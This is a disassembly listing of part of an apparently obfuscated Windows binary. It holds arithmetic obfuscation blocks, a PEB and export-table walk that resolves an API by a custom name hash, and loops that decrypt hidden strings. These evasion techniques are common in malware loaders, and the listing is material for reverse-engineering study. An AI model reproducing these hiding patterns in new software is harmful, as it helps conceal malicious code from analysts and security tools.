mov qword [0x14030af90], rax
movabs rdi, 0x849e966e9d8a9176
xor ebx, ebx
movabs rax, 0x942bbfec852561ac
movabs r14, 0xfe64f4d48c6ceb23
movabs r11, 0x5b11cff98f3aac8b
mov rsi, qword [0x140301070]
imul rsi, rax
not rsi
movabs rcx, 0xa4ee30067eb0319d
mov r13, qword [0x140301060]
mov rax, r13
xor rax, rcx
and rsi, rax
ror rsi, 3
shr rsi, 8
mov r12, qword [0x140301068]
movabs rax, 0xa1cb40cf1213ba78
mov r10, r12
imul r10, rax
movabs r8, 0x7b61699162756e8a
sub r10, r8
movabs rax, 0x720f14ad80000000
xor r10, rax
shr r10, 0x1f
not r10
lea rcx, [r10 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r10b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x95
and ecx, 0x8000003f
jge 0x140008a58
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, r10
ror rdx, cl
not rdx
movabs rax, 0x3d36b1ce28ca12f2
mov r15, rdx
imul r15, rax
lea r9, [r15 + r8]
mov r8, r10
imul r8, rsi
sub r8, r9
xor r8, r14
mov cl, r9b
xor cl, 0xfa
and cl, 0xf
rol r8, cl
mov rax, r9
sub rax, qword [0x140301078]
xor r8, rax
movabs rax, 0xe15b94a9e253cd8c
imul rdx, rax
movabs rax, 0x64268ad3e1dee264
sub rdx, rax
xor r8, rdx
xor r8, r11
mov rax, r8
not rax
and eax, 2
je 0x140008da0
sub rax, 1
je 0x140008cac
sub rax, 1
je 0x140008bda
cmp rax, 1
jne 0x140008e14
mov r14, r9
imul r14, r10
movabs rax, 0x604ac2281ac074f2
add rax, r8
xor r14, rax
ror r14, 0x3a
shr r14, 0xc
not r14
movabs rcx, 0x835726197082
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0x7be3ece90f773e8c
xor rdx, rax
movzx eax, r14b
movzx ecx, r8b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97ef99c7d
sub rax, r10
mov r10, rdx
xor r10, rax
mov rcx, r10
imul rcx, rdi
mov eax, 0xaf224e97
add rcx, rax
movabs r12, 0xaaaaaaaaaaaaaaab
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rdi, 0x49335eaa0d42836b
sub rdi, r14
shr rdi, cl
movabs rcx, 0x7b698e19c01bace6
add rcx, r15
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
imul rax, qword [r13 + rcx*8]
imul rax, r8
sub rax, rsi
xor rdi, rax
jmp 0x140008e14
movabs rcx, 0xaaaaaa1aaf3bb3a9
mov r10, r8
xor r10, rcx
movabs rcx, 0x1206ed6d366fe5
imul r10, rcx
movabs rcx, 0xffff7e8a892b8175
imul r15, rcx
movabs rcx, 0xcf1e318d29556729
add r10, rcx
add r10, r15
movabs rax, 0x277cd7be7deb64c9
mov rcx, r10
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r10
not r9
lea rax, [0x140301060]
imul r9, qword [rax + rcx*8]
xor r9, 0xfffffffffa6e6579
lea ecx, [r8 - 0x15]
and cl, 0x3f
rol r9, cl
movabs rax, 0x6c72608280000000
imul r9, rax
mov rcx, r9
ror rcx, 0x17
not rcx
movabs rax, 0x9b2de6b2c81f9bb8
imul rcx, rax
mov rax, r10
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, sil
and cl, 0x3f
ror rdx, cl
mov rax, rdi
mov rdi, rdx
imul rdi, rax
jmp 0x140008e14
movabs rax, 0xdcf94edb43daf04
imul r8, rax
movabs rax, 0xd79435e50d79435f
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0x19b0b2b739314dc
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
mov cl, r9b
and cl, 0x3f
rol r11, cl
movabs rcx, 0x7b61699162756e8a
add rcx, r8
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x166e9d8a9176
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a7f3ffc584
or r11, rax
mov rdi, qword [0x140301070]
imul rdi, r14
sub rdi, r9
mov rax, rsi
sub rax, r11
xor rdi, rax
movabs rax, 0xc7a7c6a6a2f7c589
xor rdi, rax
mov rax, r8
imul rax, r9
imul rax, rdi
mov rbx, r10
sub rbx, rax
movabs rax, 0x78958946da58993
add rbx, rax
xor rbx, rsi
movzx eax, r10b
imul ecx, eax, 0xec
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140008e14
mov rcx, r8
imul rcx, qword [0x140301080]
and rcx, qword [0x140301088]
mov rax, r11
mov r11, rcx
xor r11, rax
ror r11, 0xb
imul r11, r9
mov rbx, rsi
not rbx
imul rbx, r10
movabs rax, 0x7cd8a7de7f069468
imul rbx, rax
imul rdx, r13, 0xfffffffff18a9d16
sub rdx, r12
mov al, bl
not al
movzx ecx, al
movzx eax, r12b
xor ecx, eax
and ecx, 0x8000003f
jge 0x140008e01
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rdx, cl
movabs rsi, 0x7b61699162756e8a
add rsi, rdx
add rsi, r15
movabs rax, 0xff055d7b8f4d9ea5
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r11, rbx
lea rax, [0x140301060]
imul r11, qword [rax + r14*8]
not r9
imul r9, r8
imul r9, rsi
imul r9, rdi
movabs rcx, 0xf5ed7e8788fed479
xor rcx, r10
not rcx
xor rcx, r9
sub rcx, r11
call fcn.140001318
mov qword [0x14030af58], rax
movabs rdi, 0x978f85974b53226e
movabs rbx, 0x97b8957a282217ed
movabs rax, 0x6000000000000000
mov r11, qword [0x140301060]
imul r11, rax
movabs rax, 0x7000000000000000
xor r11, rax
mov rcx, r11
imul rcx, rbx
mov qword [rsp + 0x30], rcx
movabs r10, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r11
and r9, rbx
lea rax, [0x140301060]
imul r9, qword [rax + rcx*8]
movabs rax, 0x2b41a1435c19d410
imul r9, rax
shr r9, 3
movabs rax, 0x7a2e3c789c95bbaa
xor r9, rax
movabs rax, 0xffffff57ca56674b
mov r14, r11
imul r14, rax
sub r14, 0xe80f5c8
xor r14, r9
xor r14, qword [0x140301060]
mov rax, r9
imul rax, qword [0x140301070]
movabs rcx, 0xb9de928bc3e5d86a
imul rax, rcx
not rax
and r14, rax
ror r14, 0x36
shr r14, 8
movabs r15, 0x68476a85d7dde813
lea rcx, [r11 + r15]
xor rcx, 0xfffffffffd6bd367
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x8848b7d950427090
lea r8, [0x140301060]
mov rsi, qword [r8 + rcx*8]
imul rsi, rax
sub rsi, r15
movabs rcx, 0x1d2c6b3daab0758
mov rax, r9
imul rax, rcx
xor rsi, rax
shr rsi, 0x1f
not rsi
mov r12, rsi
xor r12, r11
lea rcx, [rsi + r15]
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, sil
movzx ecx, byte [r8 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x7b
mov eax, 0x8000003f
and ecx, eax
jge 0x140008ff6
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r12, cl
not r12
imul r12, r9
imul r13, r12, 0xfffffffff17f0a38
lea r10, [r15 + r13]
mov r8, rsi
imul r8, r14
sub r8, r10
xor r8, rdi
movzx r15d, r10b
mov ecx, r15d
xor ecx, 4
and ecx, 0xf
and ecx, eax
jge 0x140009030
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r8, cl
mov rax, r10
sub rax, qword [0x140301078]
xor r8, rax
movabs rax, 0x657761cd17f77dd8
imul r12, rax
movabs rax, 0xeaca41792cf8e97
add r12, rax
xor r8, r12
xor r8, r9
xor r8, r11
mov rax, r8
and eax, 1
je 0x1400093b5
sub rax, 1
je 0x140009279
sub rax, 1
je 0x14000917f
cmp rax, 1
jne 0x140009466
mov rdi, r10
imul rdi, rsi
movabs rax, 0x11bfa1227071f891
add rax, r8
xor rdi, rax
ror rdi, 0xc
shr rdi, 0xc
xor rdi, r11
not rdi
movabs rcx, 0x83572114d670
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0x68c5effdbdd21ef9
xor rdx, rax
movzx eax, dil
movzx ecx, r8b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db979f43a93
sub rax, rsi
mov rsi, rdx
xor rsi, rax
mov rcx, rsi
imul rcx, rbx
mov eax, 0xa82fe879
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x140301060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rbx, 0xccd4a7350d0c9e12
sub rbx, rdi
shr rbx, cl
movabs rcx, 0x684f8f0e328980c9
add rcx, r13
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
imul rax, qword [r12 + rcx*8]
imul rax, r8
sub rax, r14
xor rbx, rax
jmp 0x140009466
movabs rax, 0xaaaaaa1aa8361547
mov rcx, r8
xor rcx, rax
movabs rax, 0x1206ed6a3bc90b
imul rcx, rax
movabs rdx, 0xfff17ca87f54233b
mov rax, r9
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8a8e26279b
imul r13, rax
movabs rsi, 0xbfd7f7600cae901c
add rsi, rcx
add rsi, r13
movabs rax, 0x277cd7be7ae6c227
mov rcx, rsi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r10, rsi
not r10
lea rax, [0x140301060]
imul r10, qword [rax + rcx*8]
xor r10, 0xfffffffffd63c397
lea ecx, [r8 + 5]
and cl, 0x3f
rol r10, cl
movabs rcx, 0x1410198200000000
mov rax, qword [rsp + 0x30]
xor rax, rcx
movabs rcx, 0x7c7a7dc69464c926
and rax, rcx
imul r10, rax
mov rcx, r10
ror rcx, 0x34
not rcx
movabs rax, 0x9b2de6b2d4290000
imul rcx, rax
mov rax, rsi
sub rax, r10
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x140009466
movabs rax, 0x877a8318e7e792c1
imul r8, rax
movabs rax, 0xd79435e50d79435f
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0x68476a85d7dde812
mov rax, r11
imul rax, rdx
xor rax, rdi
not rax
shl rax, cl
xor r9, rax
and r15d, 0x8000003f
jge 0x1400092d3
dec r15d
or r15d, 0xffffffc0
inc r15d
mov cl, r15b
rol r9, cl
movabs rcx, 0x68476a85d7dde813
add rcx, r8
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x157a282217ed
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r9, rax
movabs rax, 0xffffc7a7f4f2636a
or r9, rax
mov rbx, qword [0x140301070]
imul rbx, rdi
sub rbx, r10
mov rax, r14
sub rax, r9
xor rbx, rax
movabs rax, 0xc7a7c6a6a5fa6367
xor rbx, rax
movabs rax, 0xcccccccccccccccd
mul r11
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, r11
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rbx
div rcx
mov rcx, rdx
mov rdx, r8
imul rdx, r10
imul rdx, rbx
shr rdx, cl
mov rax, rsi
sub rax, rdx
sub rax, r11
movabs r11, 0x78958946aa82f7d
add r11, rax
xor r11, r14
mov cl, sil
add cl, cl
and cl, 0x3f
rol r11, cl
not r11
jmp 0x140009466
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r9
sub rcx, rax
mov rax, r8
imul rax, qword [0x140301080]
lea rdx, [0x140301060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r9
and r9b, 0x3f
mov cl, r9b
mov r9, rdx
ror r9, cl
imul r9, r10
not r14
imul r14, rsi
movabs rax, 0x7cd8a7de780b3286
imul r14, rax
mov rax, r9
imul rax, r11
mov r11, r14
xor r11, rax
imul r14, qword [0x140301060], 0xfffffffff17f0a38
mov rdx, qword [0x140301068]
sub r14, rdx
mov al, r11b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140009453
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0x68476a85d7dde813
add r14, rax
add r14, r13
movabs rax, 0xff055d7b8840384b
xor rdi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rdi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rdi, rax
xor r9, r11
lea rax, [0x140301060]
imul r9, qword [rax + rdi*8]
not r10
imul r10, r8
imul r10, r14
imul r10, rbx
movabs rcx, 0xf5ed7e878ff37297
xor rcx, rsi
not rcx
xor rcx, r10
sub rcx, r9
call fcn.140001240
mov qword [0x14030af88], rax
movabs rsi, 0x64d08571fb3e648d
movabs rbx, 0x2609845551442d02
xor edi, edi
movabs rax, 0xfb280e7429c1ed34
movabs r10, 0x1fadcf1c279b1156
mov r14, qword [0x140301070]
imul r14, rax
not r14
movabs rcx, 0xe05230e3d6d0043e
mov rax, qword [0x140301060]
xor rax, rcx
and r14, rax
ror r14, 0x3d
shr r14, 8
mov r13, qword [0x140301068]
movabs rax, 0x152185f7de3378d0
mov r11, r13
imul r11, rax
add r11, rbx
movabs rax, 0xe95c30367fffffff
xor r11, rax
shr r11, 0x1f
not r11
movabs r8, 0xd9f67baaaebbd2fe
lea rcx, [r11 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xdf
mov edx, 0x8000003f
and ecx, edx
jge 0x1400095a8
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rax, r11
ror rax, cl
not rax
movabs rcx, 0x2786f719d99d18f0
mov r12, rax
imul r12, rcx
add r8, r12
mov r9, r11
imul r9, r14
sub r9, r8
xor r9, rsi
movzx r15d, r8b
mov ecx, r15d
and ecx, 0xf
and ecx, edx
jge 0x1400095e7
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r9, cl
movabs rcx, 0x9bab03c2e05c61e0
imul rax, rcx
movabs rcx, 0x21a029f734f9b404
sub rax, rcx
xor r9, rax
mov rax, r8
sub rax, qword [0x140301078]
xor r9, rax
xor r9, r10
mov rax, r9
and eax, 2
je 0x140009908
sub rax, 1
je 0x140009804
sub rax, 1
je 0x140009732
cmp rax, 1
jne 0x140009981
mov rsi, r8
imul rsi, r11
movabs rax, 0xcede433d4d1d4f22
add rax, r9
xor rsi, rax
ror rsi, 4
shr rsi, 0xc
not rsi
movabs rcx, 0x83572111f9cc
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0xd974fed2c4b10bb2
xor rdx, rax
movzx eax, sil
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db979f11537
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
imul rcx, rbx
mov eax, 0xa82ac7dd
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rbx, 0x82739f95437cd6b5
sub rbx, rsi
shr rbx, cl
movabs rcx, 0xd9fea033096a8a10
add rcx, r12
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r13 + rcx*8]
imul rax, r9
sub rax, r14
xor rbx, rax
jmp 0x140009981
movabs rcx, 0xaaaaaa1aa8333ae3
mov r11, r9
xor r11, rcx
movabs rcx, 0x1206ed6a3ee6af
imul r11, rcx
movabs rcx, 0xffff7e8a8e23083f
imul r12, rcx
movabs rcx, 0xdc8562efd0e3c6f8
add r11, rcx
add r11, r12
movabs rax, 0x277cd7be7ae3ed83
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r11
not r8
lea rax, [0x140301060]
imul r8, qword [rax + rcx*8]
xor r8, 0xfffffffffd66ec33
lea ecx, [r9 - 0x1f]
and cl, 0x3f
rol r8, cl
movabs rax, 0x4018314600000000
imul r8, rax
mov rcx, r8
ror rcx, 0x33
not rcx
movabs rax, 0x9b2de6b2d43dbe90
imul rcx, rax
mov rax, r11
sub rax, r8
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x140009981
movabs rax, 0x96fb4f33d5d1cbfc
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0x9b2f7a8e04c19b72
shl rdx, cl
mov rax, r10
mov r10, rdx
xor r10, rax
and r15d, 0x8000003f
jge 0x140009857
dec r15d
or r15d, 0xffffffc0
inc r15d
mov cl, r15b
rol r10, cl
movabs rcx, 0xd9f67baaaebbd2fe
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x45551442d02
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7f4f74cce
or r10, rax
mov rbx, qword [0x140301070]
imul rbx, rsi
sub rbx, r8
mov rax, r14
sub rax, r10
xor rbx, rax
movabs rax, 0xc7a7c6a6a5ff4cc3
xor rbx, rax
mov rax, r9
imul rax, r8
imul rax, rbx
mov rdi, r11
sub rdi, rax
movabs rax, 0x78958946aad00d9
add rdi, rax
xor rdi, r14
movzx eax, r11b
imul ecx, eax, 0xe6
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140009981
mov rcx, r9
imul rcx, qword [0x140301080]
and rcx, qword [0x140301080]
mov rax, r10
mov r10, rcx
xor r10, rax
ror r10, 0x16
imul r10, r8
mov rdi, r14
not rdi
imul rdi, r11
movabs rax, 0x7cd8a7de780e1d22
imul rdi, rax
imul rdx, qword [0x140301060], 0xfffffffff14b1568
sub rdx, r13
mov al, dil
not al
movzx ecx, al
movzx eax, r13b
xor ecx, eax
and ecx, 0x8000003f
jge 0x14000996e
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rdx, cl
movabs r14, 0xd9f67baaaebbd2fe
add r14, rdx
add r14, r12
movabs rax, 0xff055d7b884517ef
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r10, rdi
lea rax, [0x140301060]
imul r10, qword [rax + rsi*8]
not r8
imul r8, r9
imul r8, r14
imul r8, rbx
movabs rcx, 0xf5ed7e878ff65d33
xor rcx, r11
not rcx
xor rcx, r8
sub rcx, r10
call fcn.140001264
mov qword [0x14030af50], rax
xor edi, edi
mov r14d, 0x2f000d62
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x140009a5c
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x59eb8172
jmp 0x140009a4e
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, 0x31
xor ecx, 0x4764996c
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x140009a2e
cmp r9d, edi
jne 0x140009b75
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov ebx, ecx
add rbx, r10
shr rcx, 0x20
cmp rbx, r10
je 0x140009b75
mov esi, dword [rbx + 0x18]
test esi, esi
je 0x140009b75
mov r13d, dword [rbx + 0x20]
dec esi
lea rdx, [rsi*4]
add rdx, r13
mov r11d, dword [rdx + r10]
add r11, r10
mov r15d, 0x59eb8172
jmp 0x140009acc
movsx r8d, dl
mov r9d, r8d
imul r9d, r8d
add r9d, 0x31
xor r9d, 0x4764996c
mov edx, r15d
xor edx, r8d
mov r15d, r9d
imul r15d, edx
mov dl, byte [r11]
inc r11
test dl, dl
jne 0x140009aa9
cmp r15d, r14d
je 0x140009ae4
test esi, esi
jne 0x140009a8d
jmp 0x140009b75
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + rsi*2]
mov r15d, dword [rdx + rax*4]
add r15, r10
mov qword [rbp - 0x48], r15
cmp r15, rbx
jbe 0x140009b7d
lea rax, [rbx + rcx]
cmp r15, rax
jae 0x140009b7d
mov edi, 0x59eb8172
mov r14d, edi
jmp 0x140009b34
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, edi
xor eax, ecx
mov edi, edx
imul edi, eax
inc r15
mov al, byte [r15]
cmp al, 0x2e
jne 0x140009b17
jmp 0x140009b5a
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, r14d
xor eax, ecx
mov r14d, edx
imul r14d, eax
inc r15
mov al, byte [r15]
test al, al
jne 0x140009b3d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140009a02
and dword [rsp + 0x3c], 0
mov dword [rsp + 0x3c], 0xd55723eb
mov eax, dword [rsp + 0x3c]
add eax, 0x4ea18ab5
xor eax, 0x2009e0a6
mov r13, qword [0x140301058]
sub eax, r13d
mov r15, qword [0x140301050]
sub eax, r15d
sub eax, 0x5a51739e
xor eax, 0x29be88d1
sub eax, dword [0x140301048]
mov r12, qword [0x140301040]
add eax, 0xb0c44923
add eax, r12d
xor eax, 0xe5037d3
add eax, 0x478d949f
xor eax, 0xd1eabacb
lea ecx, [r12 + 0x7a493478]
add ecx, eax
not ecx
mov eax, dword [0x140301038]
xor eax, 0xd93a847e
sub ecx, eax
mov eax, dword [0x140301030]
xor eax, 0x26c57b81
add eax, 0xbb57b619
add ecx, eax
xor ecx, 0x3d1b4d7e
mov dword [rsp + 0x3c], ecx
movsxd rax, ecx
mov qword [rbp - 0x40], rax
mov byte [rbp + 0x150], 0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x150]
call fcn.140001588
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rbp + 0x158], rax
xor edx, edx
movabs rcx, 0x13cce94adbcd969a
div rcx
add dl, 0x35
mov r14b, dl
sar r14b, 7
or r14b, dl
mov al, r14b
sar al, 2
mov sil, r14b
shl sil, 6
mov r11b, sil
or r11b, al
movsx rcx, r14b
or sil, al
mov r9b, r14b
sar r9b, 5
mov al, r14b
shl al, 3
or r9b, al
mov r10b, r14b
sar r10b, 3
mov al, r14b
shl al, 5
or r10b, al
mov r8b, r14b
sar r8b, 4
mov al, r14b
shl al, 4
or r8b, al
mov bl, r14b
not bl
mov dil, r14b
ror dil, 7
lea eax, [r10 - 0x50]
add dil, al
mov rdx, qword [rbp + 0x158]
mov rax, qword [rsp + 0x40]
mov dl, byte [rdx + rax]
sub dl, r11b
sub dl, 2
mov eax, 4
sub al, sil
xor dl, al
sar rcx, 1
mov al, r14b
shl al, 7
or cl, al
sub dl, cl
sub dl, r13b
sub dl, r15b
sub dl, 0x3f
add dl, sil
add dl, r14b
lea eax, [r11 + 7]
add al, r14b
xor dl, al
sub dl, byte [0x140301048]
sub dl, r9b
sub dl, r14b
sub dl, 0x50
add dl, r12b
add dl, sil
mov al, r8b
sub al, r9b
add al, r11b
add al, r14b
xor dl, al
mov al, r14b
sub al, r8b
xor al, r14b
sub dl, al
sub dl, r10b
add dl, 0x30
add dl, r14b
xor dil, dl
mov al, r14b
add al, al
sub dil, al
add sil, sil
add dil, 0x51
add dil, sil
add dil, r12b
not dil
mov al, r14b
sar al, 7
or al, r14b
sub dil, al
mov al, bl
xor al, byte [0x140301038]
sub dil, al
mov al, r14b
xor al, 0x40
sub dil, al
mov al, r14b
xor al, byte [0x140301030]
add dil, al
movsx eax, r14b
movsx ecx, bl
imul ecx, eax
xor dil, cl
mov rax, qword [rbp + 0x158]
mov rcx, qword [rsp + 0x40]
mov byte [rax + rcx], dil
inc rax
mov qword [rbp + 0x158], rax
cmp rax, 0x36
jae 0x140009dbc
mov r13, qword [0x140301058]
mov r12, qword [0x140301040]
mov r15, qword [0x140301050]
jmp 0x140009c3b
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x78], 0x36
mov rax, qword [rbp - 0x80]
mov qword [rbp - 0x38], rax
and dword [rsp + 0x38], 0
mov dword [rsp + 0x38], 0x8ede7c4d
mov eax, dword [rsp + 0x38]
add eax, 0x5fbfd035
xor eax, 0x6589f1c4
mov r13, qword [0x140301058]
sub eax, r13d
sub eax, dword [0x140301050]
add eax, 0x257b3191
xor eax, 0x185bca3b
sub eax, dword [0x140301048]
mov r12, qword [0x140301040]
add eax, 0x5987b1cc
add eax, r12d
xor eax, 0xfac9b08d
add eax, 0x538f1d65
xor eax, 0x9d5b0f18
lea ecx, [r12 - 0x165d3d22]
add ecx, eax
not ecx
mov eax, dword [0x140301038]
xor eax, 0xd97efd94
sub ecx, eax
mov eax, dword [0x140301030]
xor eax, 0x2681026b
add eax, 0x153daf
add ecx, eax
xor ecx, 0xa5a324dc
mov dword [rsp + 0x38], ecx
movsxd rax, ecx
mov qword [rbp - 0x30], rax
mov byte [rbp + 0x158], 0
lea rdx, [rbp + 0xa6]
lea rcx, [rbp + 0x158]
call fcn.1400014f8
mov qword [rsp + 0x30], rax
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r15, qword [rbp - 0x48]
xor edx, edx
mov rax, rcx
movabs rcx, 0x13cce94adbcd969a
div rcx
add dl, 0x35
mov r14b, dl
sar r14b, 7
or r14b, dl
mov al, r14b
sar al, 2
mov sil, r14b
shl sil, 6
mov r11b, sil
or r11b, al
movsx rcx, r14b
or sil, al
mov r9b, r14b
sar r9b, 5
mov al, r14b
shl al, 3
or r9b, al
mov r10b, r14b
sar r10b, 3
mov al, r14b
shl al, 5
or r10b, al
mov r8b, r14b
sar r8b, 4
mov al, r14b
shl al, 4
or r8b, al
mov bl, r14b
not bl
mov dil, r14b
ror dil, 7
lea eax, [r10 - 0x50]
add dil, al
mov rdx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov dl, byte [rdx + rax]
sub dl, r11b
sub dl, 2
mov eax, 4
sub al, sil
xor dl, al
sar rcx, 1
mov al, r14b
shl al, 7
or cl, al
sub dl, cl
sub dl, r13b
sub dl, byte [0x140301050]
sub dl, 0x3f
add dl, sil
add dl, r14b
lea eax, [r11 + 7]
add al, r14b
xor dl, al
sub dl, r9b
sub dl, byte [0x140301048]
sub dl, r14b
sub dl, 0x50
add dl, r12b
add dl, sil
mov al, r8b
sub al, r9b
add al, r11b
add al, r14b
xor dl, al
mov al, r14b
sub al, r8b
xor al, r14b
sub dl, al
sub dl, r10b
add dl, 0x30
add dl, r14b
xor dil, dl
mov al, r14b
add al, al
sub dil, al
add sil, sil
add dil, 0x51
add dil, sil
add dil, r12b
not dil
mov al, r14b
sar al, 7
or al, r14b
sub dil, al
mov al, bl
xor al, byte [0x140301038]
sub dil, al
mov al, r14b
xor al, byte [0x140301030]
add dil, al
mov al, r14b
xor al, 0x40
sub dil, al
movsx eax, r14b
movsx ecx, bl
imul ecx, eax
xor dil, cl
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov byte [rax + rcx], dil
inc rcx
mov qword [rsp + 0x40], rcx
cmp rcx, 0x50
jae 0x14000a009
mov r13, qword [0x140301058]
mov r12, qword [0x140301040]
jmp 0x140009e8f
